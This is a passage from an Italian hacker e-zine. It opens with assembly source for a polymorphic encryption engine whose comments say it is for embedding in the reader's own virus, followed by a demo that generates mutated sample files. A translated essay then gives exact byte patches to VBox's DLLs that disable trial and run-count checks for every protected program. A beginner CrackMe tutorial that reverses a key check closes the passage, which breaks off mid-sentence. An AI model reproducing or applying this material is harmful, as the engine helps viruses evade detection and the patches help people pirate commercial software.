variazione ai risultati add ax,word ptr ds:[bx-0ah] mov word ptr ds:[bx-2],di ; salva posizione di assegn. stosw ; salva lunghezza mov word ptr ds:[bx-0ah],ax ret ; do_setkey crea l'inizializzazione del valore della chiave per la ; decrittazione do_setkey: call sorta_random ; 50% delle probabilita' che ror al,1 ; si usi la chiave, 50% che jc do_with_key ; sia fatto con chiave fissa mov byte ptr ds:[si],0b0h ; marker chiave fissa ret ; quindi niente init chiave do_with_key: call sorta_random_07 ; Scegli registro come al cmp al,04 ; solito je do_setkey or al,al jz do_with_key cmp al,byte ptr ds:[bx] je do_setkey cmp al,byte ptr ds:[bx+1] je do_setkey mov byte ptr ds:[bx+2],al add al,0b8h stosb call sorta_random stosw mov word ptr ds:[bx-6],ax ret ; do_mathop crea l'istruzione matematica per la decrittazione e prepara la ; relativa istruzione per la crittazione nell'encryption loop do_mathop: push cx inc byte ptr ds:[si] resel_mate: call sorta_random_07 cmp al,02 ja resel_mate ; per forzare l'uso di CS: (quindi decrittare con il pointer in base al ; segmento CS e non DS) basta aggiungere: ; mov al,02eh ; prefisso CS: ; stosb ; mettilo al suo posto :) shl ax,1 mov bx,offset mathadds add bx,ax mov dx,word ptr ds:[bx] ; operazione di crittazione ; e relativa inversa cmp byte ptr ds:[already_key],0b0h ; marker che l'oper. jne so_use_key ; matematica usa chiave fissa mov al,081h ; crea decrittazione con stosb ; chiave fissa add dx,0003h mov al,dl jmp register_corr so_use_key: mov al,dl stosb mov al,byte ptr ds:[already_key] dec al ; registro di destinazione mov cl,3 ; moltiplica per 8 shl al,cl add al,0ch ; aggiungi base per si,cx register_corr: mov ah,byte ptr ds:[already_pnt] cmp ah,06 ; usato si? jz store_it inc al cmp ah,07h ; di? je store_it inc al ; allora bx inc al store_it: stosb cmp byte ptr ds:[already_key],0b0h jne so_nothingelse call sorta_random ; se a chiave fissa metti stosw ; anche la chiave fissa mov word ptr ds:[initial_key],ax so_nothingelse: mov byte ptr ds:[encrypt_loop],dh pop cx ret ; do_changekey scrive l'operazione di cambio della chiave. Questa e' un ; ADD/SUB/XOR della chiave con un immediato di 16bit. ; Se prima non e' stato scelto l'utilizzo di una chiave questa procedura ; esce senza fare nulla. do_changekey: inc byte ptr ds:[si] cmp byte ptr ds:[already_key],0b0h jne get_keyop ret get_keyop: call sorta_random_07 cmp al,02 ja get_keyop mov dh,0c1h ; add or al,al jz ok_operoc add dh,28h ; sub cmp al,1 je ok_operoc add dh,8 ; xor ok_operoc: cmp byte ptr ds:[math_opdone],00h jne no_prez inc byte ptr ds:[pre_kdn] no_prez: mov al,81h mov ah,dh mov word ptr ds:[modify_key],ax dec ah add ah,byte ptr ds:[already_key] stosw and ah,011111000b ; Nell'encryptor e' or ah,000000001b ; tutto con CX mov word ptr ds:[pre_chk],ax call sorta_random stosw mov word ptr ds:[modify_key+2],ax mov word ptr ds:[pre_chk+2],ax no_changekey: ret ; inc_pnt crea l'istruzione per incrementare di uno il pointer ; dec_cnt crea l'istruzione per decrementare di uno il counter inc_pnt: mov al,byte ptr ds:[already_pnt] add al,40h cmp byte ptr ds:[math_opdone],00h jne no_prob inc byte ptr ds:[pnt_sba] no_prob: jmp common_exit dec_cnt: mov al,byte ptr ds:[already_cnt] add al,48h common_exit: stosb ret sorta_random: in al,40h ; routine di generazione mov ah,al ; numeri casuali... neanche in al,40h ; tanto :) xor al,ah ret sorta_random_07: call sorta_random ; numeri casuali da 0-7, usato and ax,0111b ; spesso x scelta registri ret ; random_garbage crea un numero random da 1-8 di istruzioni garbage random_garbage: call sorta_random_07 mov bx,ax inc bx ; almeno una ; garbage crea BX istruzioni fasulle garbage: push si mov si,offset already_pnt select_garb_reg: call sorta_random_07 ; scelta registro cmp al,byte ptr ds:[si] ; non quelli usati ovviamente je select_garb_reg cmp al,byte ptr ds:[si+1] je select_garb_reg cmp al,byte ptr ds:[si+2] je select_garb_reg cmp al,4 je select_garb_reg ; neanche sp mov dl,al ; DL contiene il registro get_type: call sorta_random ; scegli tipo di garbage and ax,01fh cmp al,31d ; operazioni senza registri je just_onebyters ; o chiamate a interrupt push ax mov si,offset base_prefix ; vedi se istruzione e' add si,ax ; formata da due bytes mov al,byte ptr ds:[si] or al,al jz no_prefix stosb ; se cosi' metti byte di no_prefix: ; prefisso pop ax push ax mov si,offset base_ocs ; metti byte principale add si,ax ; del registro mov al,byte ptr ds:[si] add al,dl ; con il registro scelto stosb pop ax mov dl,al cmp dl,13d ; le operazioni >= a 13 nella jb garbage_loop ; tabella hanno un operando ; immediato tipo byte call sorta_random stosb cmp dl,21d ; quelle oltre 21 invece ne jb garbage_loop ; hanno ben due call sorta_random stosb jmp garbage_loop just_ints: call sorta_random_07 cmp al,05 ; 5 chiamate generabili ja just_ints mov si,offset inters add si,ax cmp al,04 mov ah,byte ptr ds:[si] ; prendi nella tabellina jae not_21call ; le ultime due non sono mov al,0b4h ; fatte all'int21h stosw mov ah,21h not_21call: mov al,0cdh ; opcode chiamata int stosw jmp garbage_loop just_onebyters: call sorta_random ; abbiamo sei operazioni da and ax,0fh ; un byte + con prob 7/16 cmp al,6 ; mettiamo un int call ja just_ints mov si,offset obyters add si,ax ; prendi opcode scelto mov al,byte ptr ds:[si] stosb cmp al,0ebh ; se e' un salto allora jne garbage_loop ; mettici anche un offset ; random call sorta_random and ax,0fh inc al stosb ; e il dato numero di offset ; di bytes puramente a caso push cx ; oltre i quali saltare mov cx,ax krap_bytes: call sorta_random ; bytes a casaccio che verranno stosb ; saltati loop krap_bytes pop cx garbage_loop: pop si dec bx jz exit_garbage ; loop principale del garbage jmp garbage exit_garbage: ret ; possibili istruzioni da un byte generabili obyters db 90h,0ebh,0f8h,0f9h,0fch,0fdh,0ebh ; nop, jmp short, clc, stc, cld, std, jmp short (di nuovo :P e il + usato) ; la generazione di garbage avviene con due tabelle. un'istruzione verra' ; presa dalla prima (base_ocs + n, dove n e' il numero casuale) e poi dalla ; seconda verra' preso il rispettivo prefisso (base_prefix + n). se questo ; e' zero allora vuol dire che e' un'istruzione da un byte (vedi ad esempio ; inc e dec), mentre per le altre il prefisso verra' direttamente copiato in ; mem. a quella base ovviamente verra' aggiunto la mask per il dato registro ; scelto base_ocs db 040h,048h,0f8h,0c0h,0c8h,0d0h,0d8h,0d0h,0d8h,0c0h,0c8h db 0e0h,0e8h,0c0h,0e8h,0f0h,0d0h,0d8h,0c8h,0e0h,0f8h,0b8h db 0e8h,0c0h,0f0h,0c8h,0e0h,0f8h,0d0h,0d8h,0c0h base_prefix db 000h,000h,0d1h,0d3h,0d3h,0d1h,0d1h,0f7h,0f7h,0d1h,0d1h db 0d1h,0d1h,083h,083h,083h,083h,083h,083h,083h,083h,000h db 081h,081h,081h,081h,081h,081h,081h,081h,0f7h ; possibili chiamate ad interrupts generabili. le prime quattro sono da ; interpretarsi come funzioni (quindi byte da mettere in AH) all'int 21h, ; mentre le ultime due sono l'int 11h (get enviroment) e int 12h (get avaiable ; memory in kbs). inters db 019h,054h,00bh,018h,011h,012h ; tutto quello oltre a questa riga sono solo variabili temporanee usate dalla ; poly, quindi non ha senso includerle con il body del vostro virus ma tenere ; solo abbastanza spazio in mem poly_mem_start: given_si dw 00h ; pointer a cosa encrittare lenght dw 00h ; lunghezza da encrittare pointer_ass dw 00h ; dove viene assegnato il pointer initial_key dw 00h ; chiave iniziale decr_begin dw 00h ; dove comincia la crittazione counter_ass dw 00h ; dove viene assegnato il counter ; queste tre variabili contengono 0ffh se il rispettivo registro non e' ; stato ancora settato, mentre contengono il codice in bit del registro ; scelto se ne e' gia' stato uno already_pnt db 0ffh ; registro come pointer already_cnt db 0ffh ; registro come counter already_key db 0ffh ; registro come key ; queste contengono il numero di operazioni di un dato tipo gia' fatte. change_key db 00h ; operazione di cambio chiave dec_cnt_nr db 00h ; operazione di decremento counter inc_pnt_nr db 00h ; operazione di incremento pointer math_opdone db 00h ; operazione matematica di crittazione ; queste due variabili sono usate per segnalare, quando e' il caso, l'ordine ; nel quale e' stato creato il decryption loop. Infatti se uno o due incrementi ; al puntatore avvengono prima dell'operazione matematica allora dovremo stare ; attenti a cominciare anche l'encrypting uno o due byte piu' tardi. Lo stesso ; discorso vale per la chiave: se questa e' stata modificata una volta prima ; dell'operazione matematica allora anche nell'encryptor dovremo modificarla ; prima di usarla. pnt_sba db 00h ; numero di incs prima di math op pre_kdn db 00h ; segnala se key cambiata prima poly_mem_end: ; Grandezza totale variabili della poly in memoria (quindi se usata nel ; vostro virus non ha senso mettere anche queste nel file, ma vi basta ; allocare abbastanza mem) poly_mem = (offset poly_mem_end - offset poly_mem_start) ; ; ; <----- taglia qui -----> ; ; demo-dpe.asm ; Genera 50 files di esempio che usano la DPE. ; .model tiny .code org 100h begin: push cs pop ds mov dx,offset gen_msg mov ah,9 ; scrivi su screen int 21h mov cx,50 ; 50 files d'esempio da generare gen: push cx mov dx,offset filename xor cx,cx mov ah,3ch ; crea il file di esempio int 21h push ax ; file handle mov si,offset prog ; cosa crittare mov cx,offset prog_end - offset prog ; lunghezza del prog mov bp,(offset poly_space - offset begin) ; offset da sottrarre mov di,offset poly_space ; memoria tempornea call poly ; chiama la DPE pop bx mov ah,40h ; scrivi su file il risultato int 21h mov ah,3eh int 21h mov bx,offset filename ; prossimo filename inc byte ptr [bx+7] cmp byte ptr [bx+7],'9' jbe no_ccc0 mov byte ptr [bx+7],'0' inc byte ptr [bx+6] no_ccc0: pop cx loop gen mov ah,4ch int 21h gen_msg db 'Sto generando 50 files di esempio di DPE... $' filename db '00000000.COM',0 ; programma di esempio che verra mascherato con la poly prog: call $+3 ; chiama la prossima operazione pop dx ; delta offset in dx push cs pop ds add dx,offset msg - offset prog - 3 ; punta al msg mov ah,9 int 21h mov ah,4ch int 21h msg db 'Sample file di [DPE] per BFI#3 eseguito. ' db 'Greetz da b0z0/iKX.$' prog_end: include dpoly.asm ; includi il codice del motore poly_space db 200h dup (?) ; spazio dove generare il tutto end begin ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ Vá0X ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ PREViEW PARADiSE R.I.P. Nota del traduttore: Questa e' la versione tradotta in italiano dell'articolo apparso su Fravia's page of reverse engineering, scritto da xOANON. Non e' stato cambiato nulla. VBox (05/98 - 06/98) PreviewParadise R.I.P. Scritto da xOANON [UCF/CLASS] Introduzione Salve vecchio Fravia! E' un sacco di tempo che non mi faccio vedere sulle tue pagine :) Penso sia tempo di tornarci... Non lamentarti se non supporto l'+HCU spesso, ma sai... io sono uno di quei crackers-per-le-masse che non ami tanto :) Beh, e' una scelta... mi fa piacere che la gente usi i miei cracks, mi piace essere conosciuto eccetera... Ma e' un'altra storia La settimana scorsa ho trovato un programma chiamato "Script Driven Internet" e sembrava essere protetto col VBox. Il mese scorso avevo letto il saggio di Marigold (molto interessante), cosi' ho dato un'occhiata al programma giusto per capire qualcosa di piu' su questa protezione. La (stupefacente) tecnica di Marigold e' il "ritorno alla verginita'", io ti presento invece un metodo per patchare il programma... molto piu' chiaro, molto piu' facile (non proprio) e (penso) molto piu' utile in quanto il mio obiettivo e' di produrre una DLL crackata che una volta messa in \WINDOWS\SYSTEM possa far funzionare ogni programma protetto col VBox. Tools necessari SoftIce W32D/ASM Il vostro HexEditor preferito Sigarette (5) Un ventilatore (e' molto caldo qui) Un po' di buona musica Grunge (Nirvana, Stone Temple Pilots, ecc...) URL/FTP dell'obiettivo ftp://ftp.previewsoftware.com/VboxBuilder.exe VBox Builder (un programma per aggiungere VBox ai vostri programmi, anche molto utile per i nostri propositi... eheheh :) Storia del programma Timelock di PreviewSoft ha una lunga e gloriosa storia (nel tentativo di crackarlo). Vbox e' un qualche genere di "nuovo inizio". E' differente dai suoi predecessori, almeno finche' arriva la memoria di ricordi ancestrali. Saggio Siamo qui... cominciamo. Prima di tutto, installate il VBox Builder (serve un file .prv preso dal server web del produttore, quindi connettetevi e riempite il modulo per ottenerlo). Quindi scegliete un file .EXE da proteggere (potreste anche scegliere una .DLL o un .OCX, ma scegliete un .EXE perche' e' meglio ed e' piu' semplice per i nostri propositi) e inserite il VBox usando il Builder (scegliete la Trial Days protection). Ora comincia la parte divertente. Come dice Marigold, e come possiamo facilmente vedere, le protezioni del VBox sono formate da 3 DLL che vengono copiate nella directory \WINDOWS\SYSTEM. Queste tre DLL sono: vboxp403.dll - vboxb403.dll - vboxt403.dll. Tutte queste DLL eccetto la prima sono compresse, quindi rivolgeremo la nostra attenzione sulla vboxp403.dll. Questa DLL agisce da loader/decompressore per le altre (fra le altre cose, di nuovo leggetevi il saggio di Marigold per una spiegazione completa), cosi' ho pensato: se trovo il codice che decomprime le DLL, subito dopo la decompressione posso modificare *da dentro la vboxp403.dll* il codice di protezione che risiede nello spazio di memoria della vboxt403.dll... e cosi' ho fatto :) Tentativo furbo, non credete? :) Nota: Questo tipo di modifica puo' essere fatto molto piu' facilmente con un memory patcher (leggete il saggio di Stone), ma una patch in memoria richiede sempre un loader, o un programma tipo TSR da caricare prima del programma target. In questa maniera invece possiamo ottenere (come ho detto) un crack universale da copiare al posto della DLL originale. Quindi basta parlare e continuiamo col cracking...... Per prima cosa muovete l'orologio di sistema avanti cosi' che il programma target esaurisca il periodo di prova. Ora, avete applicato al vostro .EXE il VBox con la Trial Days protection, giusto? In questa maniera sara' vulnerabile alla funzione BPX GETLOCALTIME del nostro amato SoftICE. Atterrerete in questo codice (dopo un PRET della routine GETLOCALTIME dell'API), dentro la vboxp403.dll. Useremo lo spazio occupato da questo codice piu' avanti per aggiungere il nostro codice per modificare la memoria. ---------------------------------------------------------------------- :0500E720 81ECCC000000 sub esp, 000000CC :0500E726 8D442410 lea eax, dword ptr [esp+10] *piu' avanti aggiungeremo qui il codice per patchare la memoria* :0500E72A 56 push esi :0500E72B 50 push eax * Reference To: KERNEL32.GetLocalTime, Ord:00F5h | :0500E72C FF1544C50105 Call dword ptr [0501C544] :0500E732 8D4C2404 lea ecx, dword ptr [esp+04] :0500E736 51 push ecx * Reference To: KERNEL32.GetSystemTime, Ord:0135h | :0500E737 FF1540C50105 Call dword ptr [0501C540] :0500E73D 668B4C240E mov cx, word ptr [esp+0E] :0500E742 66390D32AC0105 cmp word ptr [0501AC32], cx :0500E749 7540 jne 0500E78B :0500E74B 668B44240C mov ax, word ptr [esp+0C] :0500E750 66390530AC0105 cmp word ptr [0501AC30], ax :0500E757 7532 jne 0500E78B (......... eccetera eccetera......... ) ---------------------------------------------------------------------- Andando avanti tracciando, troverete questo codice nella vboxt403.dll, che verifica se il programma target e' scaduto oppure no: :07005EFB F6451408 cmp eax, [ebp+10] :07005EFE 7402 jz 7005F02 *metteteci dei NOP* e poi :7005FAA 3B45F0 cmp eax, [ebp+10] :7005FAD 751A jnz 7005FC9 * cambiatelo in JMP 7005FC9 * Ok, ora teoricamente la nostra patch e' finita... lo schermo del VBox non apparira' piu' MA: l'abbiamo appena fatto in memoria, come applicarlo al file vboxt403.dll dato che e' compresso? Qui serve un po' di Zen, come i nostri +maestri dicono... Sappiamo che la DLL deve essere decompressa da qualche parte, andiamo a caccia della routine di decompressione settando un BPM 7005EFE W (breakpoint su un accesso a memoria in scrittura). Questo significa che SoftICE si fermera' giusto quando si accedera' a questa zona di memoria in scrittura (nel nostro caso sara' una decompressione della vboxt403.dll). Ok, settiamo il breakpoint e facciamo ripartire il tutto. Vi fermerete nella nostra amata vboxp403.dll qui: ---------------------------------------------------------------------- :0500E856 8BD1 mov edx, ecx :0500E858 83E203 and edx, 00000003 :0500E85B C1E902 shr ecx, 02 :0500E85E F3 repz :0500E85F A5 movsd *questo scrive in codice decompresso in DS:EDI* :0500E860 FF249568E80005 jmp dword ptr [4*edx+0500E868] :0500E867 90 nop ---------------------------------------------------------------------- Come noterete questa routine e' eseguita parecchie volte, dato che la decompressione e' fatta in piccoli passi. In ogni caso, concentreremo la nostra attenzione quando EDI raggiungera' il valore 07007000. Perche'? Beh, semplice: dato che vogliamo applicare la patch all'indirizzo DS:7005xxx, se EDI raggiunge 07007000 significa che il codice di cui abbiamo bisogno e' gia' stato decompresso ed e' pronto ad essere "violentato" :) Ora, problema #2: abbiamo bisogno di spazio per fare il nostro patcher di memoria. Facile, guardate qui... questo codice non serve piu' a nulla, siccome la protezione e' stata uccisa. Cosi' possiamo usare lo spazio di memoria di questo controllo per implementare il nostro patcher di memoria. Prima di tutto, dobbiamo rintracciare la chiamata a questa routine e NOPparla, dato che vogliamo usarla per i nostri propositi. Eccola qui: :05002880 6A00 push 00000000 :05002882 E899BE0000 call 0500E720 * NOPpatela e la DLL non chiamera' piu' il controllo * :05002887 83C404 add esp, 00000004 :0500288A 50 push eax Ora, per il patcher di memoria. Dobbiamo saltare alla nostra routine, giusto? Dobbiamo modificare questo codice giusto dopo che la vboxt403.dll e' stata decompressa in memoria: cambiamo :0500E860 FF249568E80005 jmp dword ptr [4*edx+0500E868] in :0500E860 E9C1FEFFFF909090 jmp 500E726 *ok, ora questo salta al punto di ingresso della nostra routine* Ecco la routine di patch della memoria: ---------------------------------------------------------------------- :0500E726 81FF00700007 cmp edi, 07007000 *controlla se il codice da modificare e' gia' stato decompresso* :0500E72C 7519 jne 0500E747 *prosegui normalmente se non lo e' stato* :0500E72E 66C787FEEEFFFF9090 mov word ptr [edi+FFFFEEFE], 9090 *modifica a EDI-1102 = 7005EFE* :0500E737 C687ADEFFFFFEB mov byte ptr [edi+FFFFEFAD], EB *modifica a EDI-1053 = 7005FA0* :0500E73E 66C787A5EEFFFF9090 mov word ptr [edi+FFFFEEA5], 9090 *modifica a EDI-115B = 7005EA5* * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0500E72C(C) | :0500E747 FF249568E80005 jmp dword ptr [4*edx+0500E868] *questo e' il salto normale eseguito dopo la decompressione* :0500E74E 90 nop :0500E74F 90 nop ---------------------------------------------------------------------- Avrete notato che ho fatto un'altra modifica a 0500E73E. Cose' questo? Beh, modifica questo codice ---------------------------------------------------------------------- :7005E9C F6451408 test byte ptr [ebp+14],08 :7005EA0 BE01000000 mov esi, 00000001 :7005EA5 745B jz 7005F02 *da NOPpare* ---------------------------------------------------------------------- che salta il controllo per il "numero di esecuzioni" (un'altra opzione del VBox, provatela col Builder). Beh... questo e' tutto. VBox ora e' completamente morto, grazie a Marigold e al vostro piccolo xOANINO :) Andate a modificare la vboxp403.dll seguendo le istruzioni in questo saggio, copiate il file nella vostra \WINDOWS\SYSTEM sovrascrivendo il file originale, e dite "CIAO CIAO" a WeiJuhn Li :) Alla prossima Fravione.... e speriamo che l'Italia vinca sti mondiali.... anche se dopo la partita di ieri mi sembra improbabile :( (in italiano nel testo :) Note finali Spero che abbiate gradito questo saggio. Come avete visto, le protezioni commerciali gia' pronte non sono cosi' sicure come pretendono di essere (date un occhio a http://www.previewsoftware.com e ridete... dicono che persino i creatori di SoftICE non possano sproteggere VBox e TimeLock, non ci posso credere). Ci sarebbero molti modi per fare una protezione sicura (come ad esempio usare un cifratore di PE), ma forse pensano che tutti noi +HCUkers siamo stupidi.... bah :) I miei ringraziamenti vanno a: Tutti i membri di UCF e CLASS, Devil, Stone, Miramax, Marquis, Random, SpaceOne, SaiBada, Goku, SoftPJ (per favore migliorate la vostra E-Zine) :) (ulteriore Nota del Traduttore: xOA, io che cerco di migliorare per starti dietro per poi trovarmi a tradurre i tuoi articoli :) che fine ingloriosa... - sPIRIT^sP ) ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ STEP áY STEP ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ LEVEL 1 [ Cracking Level-1 Step-by-Step ] ================================== Salve amici, da questo numero inizia una serie di articoli dedicati ad un piccolo programma che ho realizzato per voi. In pratica e' un CrackMe, ovvero un programma con cui cimentarvi per allenare le vostre capacita' di cracker ed imparare i rudimenti di questa nobile arte :) In questo numero troverete le istruzioni per eseguire il Crack del primo livello, per tutti coloro che hanno un po' di esperienza consiglio di smettere di leggere e di cimentarvi direttamente con il mio programma, invece per i principianti e' descritta tutta la procedura per farlo. Ci tengo inoltre a proporre una piccola sfida a tutti coloro che vorranno cimentarsi con gli altri livelli, se li risolvete mandatemi la soluzione in mail, vedo' di citarvi nel prossimo articolo!! Cominciamo! I programmi di cui avete bisogno sono il Softice e se volete il w32dasm che anche se vecchio puo' essere un valido sussidio. Ok, il primo livello prevede solo una key senza alcun user-name, quindi abbastanza abbordabile per i principianti. Ok! avvia il sistema con il Softice caricato in memoria, avvia il programma CrackMe, adesso e' necessario settare un break point in modo da entrare nel codice del programma nel punto in cui vogliamo, per fare questo e' necessario premere [Ctrl]-D ed entrerete nello schermo di Softice, a questo punto settate questo break point: bpx GetDlgItemTextA Questa stringa e' usata da CrackMe per ottenere la key inserita dall'utente. Uscite da Softice, inserite una key a caso e premete "Validate Registration Key". Vi ritroverete nello schermo di Softice: a questo punto vi trovate nella funzione USER32.DLL, premete [F12] e vi ritrovate in MFC42.DLL, premete ancora [F12] e vi ritrovate nel codice di CrackMe. Quello che ho riportato qui sotto e' il codice ottenuto con il w32dasm che comunque e' molto simile a quello del Softice, ho aggiunto alcuni importanti commenti in modo da essere piu' esplicativo. --------------------------------------------------------------------- :004019D8 E801120000 Call 00402BDE ; MFC42.GetDlgItemTextA :004019DD 8D542410 lea edx, dword ptr [esp+10] :004019E1 8D44242C lea eax, dword ptr [esp+2C] :004019E5 52 push edx ; -> push la key nello stack :004019E6 50 push eax ; -> push la passwrd nello stack ; compara le due stringhe nello stack :04019E7 FF1508404000 Call dword ptr [00404008] ; KERNEL32.lstrcmpA :004019ED 85C0 test eax, eax ; se 2 stringhe uguali, allora eax = 0 :004019EF 755A jne 00401A4B ; jump/quit/error se eax non e' 0 :004019F1 6870434000 push 00404370 :004019F6 8D4C2410 lea ecx, dword ptr [esp+10] ---------------------------------------------------------------------- Se noi vi trovate sulla riga 004019E5 premete [F10] fino a posizionarvici a questo punto scrivete "d eax" nella window dei comandi (questa istruzione chiede di mostrare la memoria puntata dal registro EAX). Nella data window potrete notare la stringa che voi avete inserito, se scrollate un po' la data window in alto o scrivete "d edx" potrete notare questa stringa in memoria "qJT62aWfviq0P57JGs2FelQkX", sospetta non credete? Questa e' la stringa che viene comparata con quella che voi inserite nella key, quindi basta inserire questa stringa nel programma CrackMe ed avrete registrato il primo livello (ricordatevi di disabilitare i break point!). Questo e' il sorgente in C++ di questa routine: ---------------------------------------------- void CCrackMeDlg::Validate() { char key[30] = "\0"; char teststr[] = "qJT62aWfviq0P57JGs2FelQkX"; GetDlgItemText(IDC_KEY, key, 30); // prende la key inserita if (lstrcmp(key, teststr) == 0) // compara le 2 keys // ti da' il messaggio per la key giusta else // ti da' il messaggio per la key sbagliata } The_Hawk ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ STEP áY STEP ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ LEVEL 2 [ Livello 2 e crazione del vostro primo Key Generator ] ======================================================= Ci sono 2 modi per creare un key generator. Il primo consiste nel copiare tutto il codice assembly, fargli qualche piccola modifica e compilare il tutto con un assembler. In questo caso e' necessario conoscere dove la routine di registrazione parte, dove finisce e quali sono le sue variabili. Il secondo consiste nell'analizzare l'intera routine e trasportarla/modificarla per un compilatore di un linguaggio di alto livello. Questo sistema prevede una bella perdita di tempo nell'analisi del sorgente, ma io preferisco questa via per scrivere tutti i miei key makers. Qui sotto c'e' la porzione principale della routine di registrazione del livello 2 ottenuta con il W32Dasm, ho commentato un pochino il codice per renderlo chiaro anche a chi di assembler ci capisce poco. Entrate nel programma come descritto nel precedente articolo settando un break point a GetDlgItamTextA, premete [F12] per uscire da USER32 e MFC42, arriverete cosi' nel codice di CrackMe. Adesso premete [F10] per andare nella prima riga del codice (:00401ADF) Come potete notare qui sotto la prima cosa da fare sara' di disabilitare il break point inserito con: "d *" ---------------------------------------------------------------------- :00401ADF E8FA100000 Call 00402BDE ; MFC42.GetDlgItemTextA :00401AE4 8D4C247C lea ecx, dword ptr [esp+7C] :00401AE8 6A33 push 00000033 :00401AEA 51 push ecx :00401AEB 68ED030000 push 000003ED :00401AF0 8BCB mov ecx, ebx :00401AF2 E8E7100000 Call 00402BDE ; MFC42.GetDlgItemTextA (prende username) :00401AF7 8D542414 lea edx, dword ptr [esp+14] ; -> punta username :00401AFB 52 push edx ; -> push username nello stack per lstrlenA :00401AFC FF1500404000 Call dword ptr [00404000] ; KERNEL32.lstrlenA :00401B02 8BF0 mov esi, eax ; salva lunghezza stringa in esi :00401B04 83FE05 cmp esi, 00000005 ; lunghezza stringa < 5 ? :00401B07 7311 jnb 00401B1A ; jump/ nome ok se lunghezza >= 5 :00401B09 6A40 push 00000040 :00401B0B 6804514000 push 00405104 :00401B10 68D8504000 push 004050D8 :00401B15 E9BA000000 jmp 00401BD4 ; jump/quit mostra end MessageBox :00401B1A B801000000 mov eax, 00000001 ; setta eax a 1 (counter) :00401B1F 33FF xor edi, edi ; setta edi a 0 :00401B21 3BF0 cmp esi, eax ; (esi - eax) :00401B23 7211 jb 00401B36 ; jump se esi(lunghezza) < eax; ; [esp+14] punta a username ; eax e' il counter :00401B25 0FBE4C0414 movsx ecx, byte ptr [esp+eax+14] ; ecx = user[eax] :00401B2A 03CF add ecx, edi ; ecx = ecx + edi :00401B2C 0FAFC8 imul ecx, eax ; ecx = ecx * eax :00401B2F 40 inc eax ; eax = eax + 1 :00401B30 8BF9 mov edi, ecx ; edi = ecx :00401B32 3BC6 cmp eax, esi ; (eax - esi) (eax e' il counter) :00401B34 76EF jbe 00401B25 ; loop se eax <= esi(lunghezza) :00401B36 33C9 xor ecx, ecx ; ecx = 0; :00401B38 85F6 test esi, esi ; (esi & esi) :00401B3A 7620 jbe 00401B5C ; jump/quit se esi(lunghezza) is 0 ; [esp+14] punta a username ; [esp+48] punta alla key generata ; ecx e' il counter = 0 all'inizio ; edi contiene la key del precedente loop :00401B3C 0FBE6C0C14 movsx ebp, byte ptr [esp+ecx+14] ; ebp = user[ecx] :00401B41 8BC7 mov eax, edi ; eax = edi (key) :00401B43 33D2 xor edx, edx ; edx = 0 :00401B45 F7F5 div ebp ; eax = eax/ebp, edx = eax%ebp :00401B47 33D2 xor edx, edx ; edx = 0 :00401B49 BD0A000000 mov ebp, 0000000A ; ebp = 0xA :00401B4E F7F5 div ebp ; eax = eax/ebp, edx = eax%ebp :00401B50 80C230 add dl, 30 ; dl = dl + 0x30 :00401B53 88540C48 mov byte ptr [esp+ecx+48], dl ; key[ecx] = dl :00401B57 41 inc ecx ; ecx = ecx + 1 :00401B58 3BCE cmp ecx, esi ; (ecx - esi) :00401B5A 72E0 jb 00401B3C ; loop se ecx < esi :00401B5C 8D542448 lea edx, dword ptr [esp+48] ; -> key generata :00401B60 8D44247C lea eax, dword ptr [esp+7C] ; -> password inserita :00401B64 52 push edx ; push puntatore della key nello stack :00401B65 50 push eax ; push puntatore della password nello stack ; lstrcmpA compara le 2 stringhe nello stack ; il valore di ritorno e' messo in eax ; se le 2 stringhe sono uguali, eax = 0 :00401B66 FF1508404000 Call dword ptr [00404008] ; KERNEL32.lstrcmpA :00401B6C 85C0 test eax, eax ; (eax & eax) :00401B6E 7550 jne 00401BC0 ; jump se eax non e' 0 Ok! adesso per avere la stringa di registrazione basta guardare, con il comando appropriato, nella riga di codice a :00401B5C, qual'e' il comando? bhe se mi avete seguito fin'ora lo sapete gia'... Comunque non e' questo il nostro intento, o per lo meno non e' il mio :) Adesso senza guardare la soluzione provate a tradurre quanto sopra in uno pseudo codice per un linguaggio di alto livello e poi confrontatelo con la mia soluzione in fondo. Giusto per darvi un'idea osservate bene le linee da :00401B25 a :00401B34 per esempio. La prima cosa che salta all'occhio e' il loop per il JBE alla linea :00401B34, questo fa un jump all'indietro alla linea :00401B25, ma quali sono le condizioni del loop? Ok! partiamo nell'analisi del codice: questa e' la prima linea del loop... :00401B25 0FBE4C0414 movsx ecx, byte ptr [esp+eax+14] Dovresti sapere (lo spero per te!!!) che "mov" corrisponde a "=" in un linguaggio di alto livello e "movsx" e' una variante di "mov" le cui differenze non ci fregano granche'. Quello che e' importante sapere di questa linea e' dove le istruzioni puntano. Quando vedi le parentesi quadre gia' devi immaginare che si tratta di qualche locazione di memoria, quindi analiziamo la memoria: "d esp+eax+14" nella window dei comandi di Softice, vedremo l'username che abbiamo inserito quindi ovviamente la linea provvede a spostare i caratteri (byte) dell'username nel registro ECX! andiamo ad analizzare il resto del 